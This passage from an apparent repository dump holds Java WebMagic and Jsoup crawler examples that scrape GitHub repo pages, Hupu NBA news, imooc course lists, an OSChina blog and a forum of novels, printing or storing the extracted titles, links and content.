pic_content_p8 = page.getHtml().xpath(\"//*[@id=\\\"dede_content\\\"]/p[8]/img\").get();\n        \tString pic_content_p9 = page.getHtml().xpath(\"//*[@id=\\\"dede_content\\\"]/p[9]/img\").get();\n        \tif(pic_content_p5 == null) {\n        \t\tpic_content_p5 = pic_content_p3;\n        \t\tif(pic_content_p3 == null) {\n        \t\t\tpic_content_p5 = pic_content_p6;\n        \t\t\tif(pic_content_p6 == null) {\n        \t\t\t\tpic_content_p5 = pic_content_p7;\n        \t\t\t\tif(pic_content_p7 == null) {\n        \t\t\t\t\tpic_content_p5 = pic_content_p4;\n        \t\t\t\t\tif(pic_content_p4 == null) {\n        \t\t\t\t\t\tpic_content_p5 = pic_content_p8;\n            \t\t\t\t\tif(pic_content_p8 == null) {\n            \t\t\t\t\t\tpic_content_p5 = pic_content_p9;\n                \t\t\t\t\tif(pic_content_p9 == null) {\n                \t\t\t\t\t\tpic_content_p5 = \"海报解析失败\";\n                \t\t\t\t\t}\n            \t\t\t\t\t}\n        \t\t\t\t\t}\n                    \t}\n                \t}\n            \t}\n        \t}\n        \tSystem.err.println(\"pic_content_p5  =============\"+pic_content_p5);\n        \tString pic_content_p5_path = pic_content_p5.substring(picBiger.indexOf(\"src=\\\"\") + 5, pic_content_p5.indexOf(\"jpg\") + 3);\n        \tSystem.err.println(\"pic_content_p5_path  =============\"+pic_content_p5_path);\n        \t\n        \t\n        \tString downloadhtml = page.getHtml().xpath(\"//*[@id=\\\"dede_content\\\"]/table[1]\").get();\n//        \tSystem.err.println(\"downloadlist =============\"+downloadlist);\n        \tgetDownloadLink(downloadhtml);\n//            map.put(keyTitles + count, titles);\n//            map.put(keyUrls + count, list);\n//            List<String> list = page.getHtml().xpath(\"*[@id=\\\"main\\\"]/div[3]/div[1]/div[1]/div[2]/div/ul/li/a\").links().all();\n//            List<String> titles = page.getHtml().xpath(\"*[@id=\\\"main\\\"]/div[3]/div[1]/div[1]/div[2]/div/ul/li/a/text()\").all();\n//            map.put(keyTitles + count, titles);\n//            map.put(keyUrls + count, list);\n        } else {\n        \tSystem.err.println(\"err --------------------------------------------------------\"+page.getUrl());\n        }\n        count++;\n    }\n\n    @Override\n    public Site getSite() {\n        return site;\n    }\n    public void getDownloadLink(String html) {\n    \tList<String> titles = new ArrayList<String>();\n\t\tList<String> urls = new ArrayList<String>();\n    \tDocument doc = Jsoup.parse(html);\n\t\tElements elements = doc.select(\"tr\");\n\t\tfor (Element element : elements) {\n\t\t\tString title = element.text();\n\t\t\ttitles.add(title);\n\t\t\turls.add(element.select(\"a\").attr(\"href\"));\n\t\t\tSystem.out.println(title+\" ---> \"+element.select(\"a\").attr(\"href\"));\n\t\t}\n    }\n\n    public static void main(String[] args) {\n        long start = System.currentTimeMillis();\n        System.err.println(\"spider  is  start  now !!!\");\n\n        Spider.create(new DygWebmagic()).thread(5).addUrl(START_URL2).run();\n        long end = System.currentTimeMillis();\n        System.err.println(\"spider  is  end  now !!!\");\n        System.err.println(\"the  under   is   result\");\n        Set<Map.Entry<String, List<String>>> entries = map.entrySet();\n        System.err.println(\"###########################################\");\n        for (Map.Entry<String, List<String>> entry : entries) {\n            String key = entry.getKey();\n            List<String> values = entry.getValue();\n            values.forEach(s -> {\n                System.err.println(\"the ke is {},the value is {}\"+ key+s);\n            });\n            System.err.println(\"----------------------------------\");\n        }\n        System.err.println(\"###########################################\");\n        System.err.println(\"the  count  is  {}\"+ count);\n        System.err.println(\"cost  time  is :\"+(end-start)/1000+\"s\");\n\n\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/GithubRepoPageProcessor.java",
    "content": "package jun_webmagic;\nimport us.codecraft.webmagic.Page;\nimport us.codecraft.webmagic.Site;\nimport us.codecraft.webmagic.Spider;\nimport us.codecraft.webmagic.processor.PageProcessor;\n\npublic class GithubRepoPageProcessor implements PageProcessor {\n\n    private Site site = Site.me().setRetryTimes(3).setSleepTime(1000).setTimeOut(10000);\n\n    @Override\n    public void process(Page page) {\n        page.addTargetRequests(page.getHtml().links().regex(\"(https://github\\\\.com/[\\\\w\\\\-]+/[\\\\w\\\\-]+)\").all());\n        page.addTargetRequests(page.getHtml().links().regex(\"(https://github\\\\.com/[\\\\w\\\\-])\").all());\n        page.putField(\"author\", page.getUrl().regex(\"https://github\\\\.com/(\\\\w+)/.*\").toString());\n        page.putField(\"name\", page.getHtml().xpath(\"//h1[@class='entry-title public']/strong/a/text()\").toString());\n        if (page.getResultItems().get(\"name\")==null){\n            //skip this page\n            page.setSkip(true);\n        }\n        page.putField(\"readme\", page.getHtml().xpath(\"//div[@id='readme']/tidyText()\"));\n    }\n\n    @Override\n    public Site getSite() {\n        return site;\n    }\n\n    public static void main(String[] args) {\n        Spider.create(new GithubRepoPageProcessor()).addUrl(\"https://github.com/code4craft\").thread(5).run();\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/GithubRepoPageProcessor2.java",
    "content": "package jun_webmagic;\n\nimport us.codecraft.webmagic.Page;\nimport us.codecraft.webmagic.Site;\nimport us.codecraft.webmagic.Spider;\nimport us.codecraft.webmagic.processor.PageProcessor;\n\npublic class GithubRepoPageProcessor2 implements PageProcessor {\n\n    // 部分一：抓取网站的相关配置，包括编码、抓取间隔、重试次数等\n    private Site site = Site.me().setRetryTimes(3).setSleepTime(1000);\n\n    @Override\n    // process是定制爬虫逻辑的核心接口，在这里编写抽取逻辑\n    public void process(Page page) {\n        System.out.println(page.getUrl().get());\n\n        // 部分二：定义如何抽取页面信息，并保存下来\n        page.putField(\"author\", page.getUrl().regex(\"https://github\\\\.com/(\\\\w+)/.*\").toString());\n        page.putField(\"name\", page.getHtml().xpath(\"//h1[@class='entry-title public']/strong/a/text()\").toString());\n        if (page.getResultItems().get(\"name\") == null) {\n            // 不符合规则的，跳过该页面\n            page.setSkip(true);\n        }\n        page.putField(\"readme\", page.getHtml().xpath(\"//div[@id='readme']/tidyText()\"));\n\n        // 部分三：从页面发现后续的url地址来抓取\n        page.addTargetRequests(page.getHtml().links().regex(\"(https://github\\\\.com/[\\\\w\\\\-]+/[\\\\w\\\\-]+)\").all());\n    }\n\n    @Override\n    public Site getSite() {\n        return site;\n    }\n\n    public static void main(String[] args) {\n\n        Spider.create(new GithubRepoPageProcessor())\n                //从该页面开始抓\n                .addUrl(\"https://github.com/code4craft\")\n                //开启5个线程抓取\n                .thread(5)\n                //启动爬虫\n                .run();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/HupuNewsSpider2.java",
    "content": "package jun_webmagic;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.Map.Entry;\n\n//import org.apache.ibatis.io.Resources;\n//import org.apache.ibatis.session.SqlSession;\n//import org.apache.ibatis.session.SqlSessionFactory;\n//import org.apache.ibatis.session.SqlSessionFactoryBuilder;\n\nimport us.codecraft.webmagic.Page;\nimport us.codecraft.webmagic.ResultItems;\nimport us.codecraft.webmagic.Site;\nimport us.codecraft.webmagic.Spider;\nimport us.codecraft.webmagic.Task;\nimport us.codecraft.webmagic.pipeline.Pipeline;\nimport us.codecraft.webmagic.processor.PageProcessor;\n\npublic class HupuNewsSpider2 implements PageProcessor {\n\n\t// ץȡվã롢ץȡԴ\n\tprivate Site site = Site.me().setRetryTimes(3).setSleepTime(100);\n\n\tpublic Site getSite() {\n\t\treturn site;\n\t}\n\n\tpublic void process(Page page) {\n\t\t// ҳƥ https://voice.hupu.com/nba/λ.html\n\t\tif (page.getUrl().regex(\"https://voice\\\\.hupu\\\\.com/nba/[0-9]{7}\\\\.html\").match()) {\n\t\t\tpage.putField(\"Title\", page.getHtml().xpath(\"/html/body/div[4]/div[1]/div[1]/h1/text()\").toString());\n\t\t\tpage.putField(\"Image\",\n\t\t\t\t\tpage.getHtml().xpath(\"/html/body/div[4]/div[1]/div[2]/div/div[1]/img/text()\").toString());\n\t\t\tpage.putField(\"Content\", page.getHtml().xpath(\"/html/body/div[4]/div[1]/div[2]/div/div[2]/p[1]/text()\")\n\t\t\t\t\t.all().toString()\n\t\t\t\t\t+ page.getHtml().xpath(\"/html/body/div[4]/div[1]/div[2]/div/div[2]/p[2]/text()\").all().toString()\n\t\t\t\t\t+ page.getHtml().xpath(\"/html/body/div[4]/div[1]/div[2]/div/div[2]/p[3]/text()\").all().toString());\n//            page.putField(\"Title\", page.getHtml().xpath(\"/html/body/div[4]/div[1]/div[1]/h1/text()\").toString());\n//            page.putField(\"Content\", page.getHtml().xpath(\"/html/body/div[4]/div[1]/div[2]/div/div[2]/p/text()\").all().toString());\n\t\t}\n\t\t// бҳ\n\t\telse {\n\t\t\t// url\n\t\t\tpage.addTargetRequests(\n\t\t\t\t\tpage.getHtml().xpath(\"/html/body/div[3]/div[1]/div[2]/ul/li/div[1]/h4/a/@href\").all());\n\t\t\t// ҳurl \n//\t\t\thttps://www.cnbeta.com/home/more?&type=all&page=3&_csrf=CBlEkJcYFAlkttssQWHz4xY3zC6mGg4vjjPZRJgc8xBRIAD39k1AXhfMtkszUsCBQ3GgR8pQNhm_apEn0STLRA%3D%3D&_=1561742466563\n\t\t\tpage.addTargetRequests(\n\t\t\t\t\tpage.getHtml().xpath(\"/html/body/div[3]/div[1]/div[3]/a[@class='page-btn-prev']/@href\").all());\n\t\t}\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tSpider.create(new HupuNewsSpider2()).addUrl(\"https://voice.hupu.com/nba/1\").addPipeline(new MysqlPipeline2())\n\t\t\t\t.thread(3).run();\n\t}\n}\n\n// ԶʵPipelineӿ\nclass MysqlPipeline2 implements Pipeline {\n\n\tpublic MysqlPipeline2() {\n\t}\n\n\tpublic void process(ResultItems resultitems, Task task) {\n\t\tMap<String, Object> mapResults = resultitems.getAll();\n\t\tIterator<Entry<String, Object>> iter = mapResults.entrySet().iterator();\n\t\tMap.Entry<String, Object> entry;\n\t\t// ̨\n\t\twhile (iter.hasNext()) {\n\t\t\tentry = iter.next();\n\t\t\tSystem.err.println(entry.getKey() + \"\" + entry.getValue());\n\t\t}\n\t\t// ־û\n\t\tNews news = new News();\n\t\tif (!mapResults.get(\"Title\").equals(\"\")) {\n\t\t\tnews.setTitle((String) mapResults.get(\"Title\"));\n\t\t\tnews.setImage((String) mapResults.get(\"Image\"));\n\t\t\tnews.setContent((String) mapResults.get(\"Content\"));\n\t\t}\n//        System.err.println(news.getTitle());\n//        System.err.println(news.getContent());\n//        try {\n//            InputStream is = Resources.getResourceAsStream(\"conf.xml\");\n//            SqlSessionFactory sessionFactory = new SqlSessionFactoryBuilder().build(is);\n//            SqlSession session = sessionFactory.openSession();\n//            session.insert(\"add\", news);\n//            session.commit();\n//            session.close();\n//        } catch (IOException e) {\n//            e.printStackTrace();\n//        }\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/JsoupDataLearnerCrawler.java",
    "content": "package jun_webmagic;\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport org.apache.http.HttpEntity;\nimport org.apache.http.client.methods.CloseableHttpResponse;\nimport org.apache.http.client.methods.HttpGet;\nimport org.apache.http.impl.client.CloseableHttpClient;\nimport org.apache.http.impl.client.HttpClients;\nimport org.apache.http.util.EntityUtils;\nimport org.jsoup.Jsoup;\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Elements;\n\n/*******\n * created by DuFei at 2017.08.25 21:00 web crawler example\n ******/\npublic class JsoupDataLearnerCrawler {\n\n\tpublic static void main(String[] args) {\n\t\tList<String> titles = new ArrayList<String>();\n\t\tList<String> urls = new ArrayList<String>();\n\t\tString html = \"\";\n\t\tDocument doc = Jsoup.parse(html);\n\t\tElements elements = doc.select(\"img\");\n\t\tfor (Element element : elements) {\n\t\t\t;\n//\t\t\tString title = element.text();\n\t\t\ttitles.add((element.select(\"img\").attr(\"src\")));\n//\t\t\ttitles.add(title);\n//\t\t\turls.add(element.select(\"a\").attr(\"href\"));\n//\t\t\tSystem.out.println(title+\" ---> \"+element.select(\"a\").attr(\"href\"));\n\t\t}\n\t\tfor (String title : titles) {\n\t\t\tSystem.out.println(title);\n\t\t}\n//\t\tfor (String url : urls) {\n//\t\t\tSystem.out.println(url);\n//\t\t}\n\t}\n\t\n\tpublic static void subject_tpc(String[] args) {\n\t\tList<String> titles = new ArrayList<String>();\n\t\tList<String> urls = new ArrayList<String>();\n\t\tString html = \"<span id=\\\"subject_tpc\\\">淫荡秘书晓日</span>\";\n\t\tDocument doc = Jsoup.parse(html);\n\t\tElements elements = doc.select(\"span\");\n\t\tfor (Element element : elements) {\n\t\t\tString title = element.text();\n\t\t\ttitles.add(title);\n//\t\t\turls.add(element.select(\"a\").attr(\"href\"));\n//\t\t\tSystem.out.println(title+\" ---> \"+element.select(\"a\").attr(\"href\"));\n\t\t}\n\t\tfor (String title : titles) {\n\t\t\tSystem.out.println(title);\n\t\t}\n//\t\tfor (String url : urls) {\n//\t\t\tSystem.out.println(url);\n//\t\t}\n\t}\n\n\tpublic void testJsoup() throws Exception {\n\t\tList<String> titles = new ArrayList<String>();\n\t\tList<String> urls = new ArrayList<String>();\n\t\t// 假设我们获取的HTML的字符内容如下\n\t\tString html = \"<html><div id=\\\"blog_list\\\"><div class=\\\"blog_title\\\"><a href=\\\"url1\\\">第一篇博客</a></div><div class=\\\"blog_title\\\"><a href=\\\"url2\\\">第二篇博客</a></div><div class=\\\"blog_title\\\"><a href=\\\"url3\\\">第三篇博客</a></div></div></html>\";\n\t\t// 第一步，将字符内容解析成一个Document类\n\t\tDocument doc = Jsoup.parse(html);\n\t\t// 第二步，根据我们需要得到的标签，选择提取相应标签的内容\n\t\tElements elements = doc.select(\"div[id=blog_list]\").select(\"div[class=blog_title]\");\n\t\tfor (Element element : elements) {\n\t\t\tString title = element.text();\n\t\t\ttitles.add(title);\n\t\t\turls.add(element.select(\"a\").attr(\"href\"));\n\t\t}\n\t\t// 输出测试\n\t\tfor (String title : titles) {\n\t\t\tSystem.out.println(title);\n\t\t}\n\t\tfor (String url : urls) {\n\t\t\tSystem.out.println(url);\n\t\t}\n\t}\n\n\tprivate void test2() {\n\n\t\tString url = \"http://www.datalearner.com/blog_list\";\n\t\tString rawHTML = null;\n\t\ttry {\n\t\t\trawHTML = getHTMLContent(url);\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n//将当前页面转换成Jsoup的Document对象\n\t\tDocument doc = Jsoup.parse(rawHTML);\n//获取所有的博客列表集合\n\t\tElements blogList = doc.select(\"div[class=card]\");\n//针对每个博客内容进行解析，并输出\n\t\tfor (Element element : blogList) {\n\t\t\tString title = element.select(\"h4[class=card-title]\").text();\n\t\t\tString introduction = element.select(\"p[class=card-text]\").text();\n\t\t\tString author = element.select(\"span[class=fa fa-user]\").text();\n\t\t\tSystem.out.println(\"Title:\\t\" + title);\n\t\t\tSystem.out.println(\"introduction:\\t\" + introduction);\n\t\t\tSystem.out.println(\"Author:\\t\" + author);\n\t\t\tSystem.out.println(\"--------------------------\");\n\t\t}\n\t}\n\n//根据url地址获取对应页面的HTML内容，我们将上一节中的内容打包成了一个方法，方便调用\n\tprivate static String getHTMLContent(String url) throws IOException {\n//建立一个新的请求客户端\n\t\tCloseableHttpClient httpClient = HttpClients.createDefault();\n//使用HttpGet方式请求网址\n\t\tHttpGet httpGet = new HttpGet(url);\n//获取网址的返回结果\n\t\tCloseableHttpResponse response = httpClient.execute(httpGet);\n//获取返回结果中的实体\n\t\tHttpEntity entity = response.getEntity();\n\t\tString content = EntityUtils.toString(entity);\n//关闭HttpEntity流\n\t\tEntityUtils.consume(entity);\n\t\treturn content;\n\t}\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/MukeProcessor.java",
    "content": "package jun_webmagic;\n\n\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\nimport us.codecraft.webmagic.Page;\nimport us.codecraft.webmagic.Site;\nimport us.codecraft.webmagic.Spider;\nimport us.codecraft.webmagic.processor.PageProcessor;\n\n/**\n * 爬取慕课网全部免费视频信息（这里是主要的视频url 和标题信息）\n */\npublic class MukeProcessor implements PageProcessor {\n    //保存信息\n    private static HashMap<String, List<String>> map = new HashMap<String, List<String>>();\n    private static final String START_URL = \"^https://www.imooc.com/course/list$\";\n    private static final String START_URL2 = \"https://www.imooc.com/course/list\";\n    private static final String DETAIL = \"https://www.imooc.com/learn/\\\\d{1,8}\";\n    private static final String NEXT_PAGE = \"^https://www.imooc.com/course/list\\\\?page=\\\\d*$\";\n    private static int count = 0;\n    private static Spider spider = Spider.create(new MukeProcessor());\n    private String keyTitles = \"titles\";\n    private String keyUrls = \"keyUrls\";\n    private Site site = Site.me()\n            .setDomain(\"www.baidu.com\")\n            .setSleepTime(1131)\n            .setCharset(\"utf-8\")\n            .setRetrySleepTime(2)\n            .setTimeOut(3000)\n            .setUserAgent(\n                    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31\");\n\n\n    @Override\n    public void process(Page page) {\n    \tSystem.err.println();\n        System.err.println(\"the  get  url  is  {}\"+page.getUrl().toString());\n        if (page.getUrl().regex(START_URL).match() || page.getUrl().regex(NEXT_PAGE).match()) {\n            List<String> list = page.getHtml().xpath(\"*[@id=\\\"main\\\"]/div[2]/div[2]/div[1]/div\").links().all();\n            String next = page.getHtml().xpath(\"*[@id=\\\"main\\\"]/div[2]/div[2]/div[2]/a[8]\").links().toString();\n            list.add(next);\n            page.addTargetRequests(list);\n        } else if (page.getUrl().regex(DETAIL).match()) {\n            List<String> list = page.getHtml().xpath(\"*[@id=\\\"main\\\"]/div[3]/div[1]/div[1]/div[2]/div/ul/li/a\").links().all();\n            List<String> titles = page.getHtml().xpath(\"*[@id=\\\"main\\\"]/div[3]/div[1]/div[1]/div[2]/div/ul/li/a/text()\").all();\n            map.put(keyTitles + count, titles);\n            map.put(keyUrls + count, list);\n        } else {\n        }\n        count++;\n    }\n\n    @Override\n    public Site getSite() {\n        return site;\n    }\n\n    public static void main(String[] args) {\n        long start = System.currentTimeMillis();\n        System.err.println(\"spider  is  start  now !!!\");\n\n        spider\n                .thread(10).addUrl(START_URL2)\n                .run();\n        long end = System.currentTimeMillis();\n        System.err.println(\"spider  is  end  now !!!\");\n        System.err.println(\"the  under   is   result\");\n        Set<Map.Entry<String, List<String>>> entries = map.entrySet();\n        System.err.println(\"###########################################\");\n        for (Map.Entry<String, List<String>> entry : entries) {\n            String key = entry.getKey();\n            List<String> values = entry.getValue();\n            values.forEach(s -> {\n                System.err.println(\"the ke is {},the value is {}\"+ key+s);\n            });\n            System.err.println(\"----------------------------------\");\n        }\n        System.err.println(\"###########################################\");\n        System.err.println(\"the  count  is  {}\"+ count);\n        System.err.println(\"cost  time  is :\"+(end-start)/1000+\"s\");\n\n\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/News.java",
    "content": "package jun_webmagic;\n\npublic class News {\n\t\n\tpublic String getTitle() {\n\t\treturn Title;\n\t}\n\n\tpublic String getImage() {\n\t\treturn Image;\n\t}\n\n\tpublic void setImage(String image) {\n\t\tImage = image;\n\t}\n\n\tpublic String getContent() {\n\t\treturn Content;\n\t}\n\n\tString Title;\n\tString Image;\n\tString Content;\n\tpublic void setTitle(String title) {\n\t\tTitle = title;\n\t}\n\n\tpublic void setContent(String content) {\n\t\tContent = content;\n\t}\n\n \n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/Novel2Webmagic.java",
    "content": "package jun_webmagic;\n\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\n\nimport org.jsoup.Jsoup;\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Elements;\n\nimport dbutils.NovelDAO;\nimport us.codecraft.webmagic.Page;\nimport us.codecraft.webmagic.Site;\nimport us.codecraft.webmagic.Spider;\nimport us.codecraft.webmagic.processor.PageProcessor;\n\npublic class Novel2Webmagic  implements PageProcessor {\n//    private static HashMap<String, List<String>> map = new HashMap<String, List<String>>();\n    private static final String START_URL = \"^http://yj1.b96dure93e9.rocks/pw//thread.php\\\\Sfid\\\\S17\\\\Spage\\\\S\\\\d{1,4}$\";\n    private static final String START_URL2 = \"http://yj1.b96dure93e9.rocks/pw//thread.php?fid=17&page=500\";//\n    private static final String DETAIL = \"http://yj1.b96dure93e9.rocks/pw//html_data/\\\\d{1,2}/\\\\d{1,4}/\\\\d{1,7}.html\";//http://yj1.b96dure93e9.rocks/pw//html_data/17/1907/4163869.html\n    private static final String DETAIL2 = \"http://yj1.b96dure93e9.rocks/pw//read.php\\\\Stid\\\\S\\\\d{1,7}\\\\Sfpage\\\\S\\\\d{1,4}\";//http://yj1.b96dure93e9.rocks/pw//read.php?tid=3976925&fpage=100\n    private static final String DETAIL3 = \"http://yj1.b96dure93e9.rocks/pw//read.php\\\\Stid\\\\S\\\\d{1,7}\\\\Spage\\\\Se\\\\Sfpage\\\\S\\\\d{1,4}\\\\S+\";//http://yj1.b96dure93e9.rocks/pw//read.php?tid=3976880&page=e&fpage=100#a\n    private static final String NEXT_PAGE = \"^http://yj1.b96dure93e9.rocks/pw//thread.php\\\\Sfid\\\\S17\\\\Spage\\\\S\\\\d{1,4}$\";\n//    private static final String START_URL = \"^https://www.imooc.com/course/list$\";\n//    private static final String START_URL2 = \"https://www.imooc.com/course/list\";\n//    private static final String DETAIL = \"https://www.imooc.com/learn/\\\\d{1,8}\";\n//    private static final String NEXT_PAGE = \"^https://www.imooc.com/course/list\\\\?page=\\\\d*$\";\n    private static int count = 0;\n//    private static Spider spider = Spider.create(new MukeProcessor());\n//    private String keyTitles = \"titles\";\n//    private String keyUrls = \"keyUrls\";\n    private Site site = Site.me()\n            .setDomain(\"www.baidu.com\")\n            .setSleepTime(1131)\n//            .setCharset(\"GBK\")\n            .setCharset(\"utf-8\")\n            .setRetrySleepTime(2)\n            .setTimeOut(3000)\n            .setUserAgent(\n                    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31\");\n\n\n    @Override\n    public void process(Page page) {\n    \tif (page.getUrl().regex(START_URL).match()) {\n    \t\tSystem.err.println(\"page url is --> \"+page.getUrl().toString());\n    \t}\n//        System.err.println(\"page.getHtml()=\"+page.getHtml());\n        if (page.getUrl().regex(START_URL).match() || page.getUrl().regex(NEXT_PAGE).match()) {\n            List<String> list = page.getHtml().xpath(\"//*[@id=\\\"main\\\"]/div[8]\").links().all();\n            String next = page.getHtml().xpath(\"//*[@id=\\\"main\\\"]/div[10]/span[2]/div[1]/a[2]\").links().toString();\n            String next3 = page.getHtml().xpath(\"//*[@id=\\\"main\\\"]/div[10]/span[2]/div[1]/a[3]\").links().toString();\n            String next4 = page.getHtml().xpath(\"//*[@id=\\\"main\\\"]/div[10]/span[2]/div[1]/a[4]\").links().toString();\n            String next5 = page.getHtml().xpath(\"//*[@id=\\\"main\\\"]/div[10]/span[2]/div[1]/a[5]\").links().toString();\n//            String next6 = page.getHtml().xpath(\"//*[@id=\\\"main\\\"]/div[10]/span[2]/div[1]/a[6]\").links().toString();\n//            List<String> list = page.getHtml().xpath(\"*[@id=\\\"main\\\"]/div[2]/div[2]/div[1]/div\").links().all();\n//            String next = page.getHtml().xpath(\"*[@id=\\\"main\\\"]/div[2]/div[2]/div[2]/a[8]\").links().toString();\n            list.add(next);\n            list.add(next3);\n            list.add(next4);\n            list.add(next5);\n//            list.add(next6);\n            page.addTargetRequests(list);\n            System.err.println(\" new  add url list.size() =============\"+list.size());\n        } else if (page.getUrl().regex(DETAIL).match() \n        \t\t|| page.getUrl().regex(DETAIL2).match()\n        \t\t|| page.getUrl().regex(DETAIL3).match()\n        \t\t) {\n//            List<String> list = page.getHtml().xpath(\"/html/body/table[6]/tbody/tr/td[1]/table/tbody/tr/td/table[2]/tbody/tr/td/div/a\").links().all();\n//        \tList<String> titles = page.getHtml().xpath(\"/html/body/table[6]/tbody/tr/td[1]/table/tbody/tr/td/table[2]/tbody/tr/td/div/a/text()\").all();\n//        \tSystem.err.println(\"title =============\"+titles);\n        \tSystem.err.println(\"todo url is --> \"+page.getUrl().toString());\n        \tString title = page.getHtml().xpath(\"//*[@id=\\\"subject_tpc\\\"]\").get();\n        \ttitle = getHtmlText(\"novel_title\", title);\n        \tSystem.err.println(\"title =============\"+title);\n        \t\n        \tString uptime = page.getHtml().xpath(\"//*[@id=\\\"td_tpc\\\"]/div[1]/span[2]\").get();\n        \tuptime = getHtmlText(\"novel_time\", uptime);\n        \tSystem.err.println(\"uptime =============\"+uptime);\n        \t\n        \tString content = page.getHtml().xpath(\"//*[@id=\\\"read_tpc\\\"]\").get();\n        \tSystem.err.println(\"content =============\"+content.length());\n        \t\n            Object params[] = {title,\"\"+content.length(), content, uptime, new Date(),page.getUrl().toString()};\n            try {\n            \tNovelDAO n = new NovelDAO();\n\t\t\t\tn.add(params);\n\t\t\t} catch (SQLException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n        \t\n        } else {\n        \tSystem.err.println(\"err --------------------------------------------------------\"+page.getUrl());\n        }\n        count++;\n    }\n\n    @Override\n    public Site getSite() {\n        return site;\n    }\n    public String getHtmlText(String tid,String html) {\n    \tStringBuilder _content = new StringBuilder(\"\");\n    \tif(tid.equalsIgnoreCase(\"novel_title\")) {\n    \t\tList<String> titles = new ArrayList<String>();\n\t\t\tList<String> urls = new ArrayList<String>();\n//\t\t\tString html = \"<span id=\\\"subject_tpc\\\">淫荡秘书晓日</span>\";\n\t\t\tDocument doc = Jsoup.parse(html);\n\t\t\tElements elements = doc.select(\"span\");\n\t\t\tfor (Element element : elements) {\n\t\t\t\tString title = element.text();\n\t\t\t\ttitles.add(title);\n//\t\t\t\turls.add(element.select(\"a\").attr(\"href\"));\n//\t\t\t\tSystem.out.println(title+\" ---> \"+element.select(\"a\").attr(\"href\"));\n\t\t\t}\n\t\t\tfor (String title : titles) {\n\t\t\t\tSystem.out.println(title);\n\t\t\t\t_content.append(title);\n\t\t\t}\n    \t}else if(tid.equalsIgnoreCase(\"novel_time\")) {\n    \t\tList<String> titles = new ArrayList<String>();\n\t\t\tList<String> urls = new ArrayList<String>();\n//\t\t\tString html = \"<span id=\\\"subject_tpc\\\">淫荡秘书晓日</span>\";\n\t\t\tDocument doc = Jsoup.parse(html);\n\t\t\tElements elements = doc.select(\"span\");\n\t\t\tfor (Element element : elements) {\n\t\t\t\tString title = element.text();\n\t\t\t\ttitles.add(title);\n//\t\t\t\turls.add(element.select(\"a\").attr(\"href\"));\n//\t\t\t\tSystem.out.println(title+\" ---> \"+element.select(\"a\").attr(\"href\"));\n\t\t\t}\n\t\t\tfor (String title : titles) {\n\t\t\t\tSystem.out.println(title);\n\t\t\t\t_content.append(title);\n\t\t\t}\n    \t}\n\t\treturn _content.toString();\n    }\n\n    public static void main(String[] args) {\n        long start = System.currentTimeMillis();\n        System.err.println(\"spider  is  start  now !!!\");\n        Spider.create(new Novel2Webmagic()).thread(10).addUrl(START_URL2).run();\n        long end = System.currentTimeMillis();\n        System.err.println(\"spider  is  end  now !!!\");\n        System.err.println(\"the  under   is   result\");\n        System.err.println(\"###########################################\");\n\t\t/*\n\t\t * Set<Map.Entry<String, List<String>>> entries = map.entrySet(); for\n\t\t * (Map.Entry<String, List<String>> entry : entries) { String key =\n\t\t * entry.getKey(); List<String> values = entry.getValue(); values.forEach(s -> {\n\t\t * System.err.println(\"the ke is {},the value is {}\"+ key+s); });\n\t\t * System.err.println(\"----------------------------------\"); }\n\t\t */\n        System.err.println(\"###########################################\");\n        System.err.println(\"the  count  is  {}\"+ count);\n        System.err.println(\"cost  time  is :\"+(end-start)/1000+\"s\");\n\n\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/OschinaBlog.java",
    "content": "package jun_webmagic;\n\nimport us.codecraft.webmagic.Site;\nimport us.codecraft.webmagic.model.ConsolePageModelPipeline;\nimport us.codecraft.webmagic.model.OOSpider;\nimport us.codecraft.webmagic.model.annotation.ExtractBy;\nimport us.codecraft.webmagic.model.annotation.TargetUrl;\n\nimport java.util.List;\n\n@TargetUrl(\"http://my.oschina.net/flashsword/blog/\\\\d+\")\npublic class OschinaBlog {\n\n    @ExtractBy(\"//title\")\n    private String title;\n\n    @ExtractBy(value = \"div.BlogContent\",type = ExtractBy.Type.Css)\n    private String content;\n\n    @ExtractBy(value = \"//div[@class='BlogTags']/a/text()\", multi = true)\n    private List<String> tags;\n\n    public static void main(String[] args) {\n        OOSpider.create(\n                Site.me(),\n                new ConsolePageModelPipeline(), OschinaBlog.class).addUrl(\"http://my.oschina.net/flashsword/blog\").run();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/OschinaBlogPageProcessor.java",
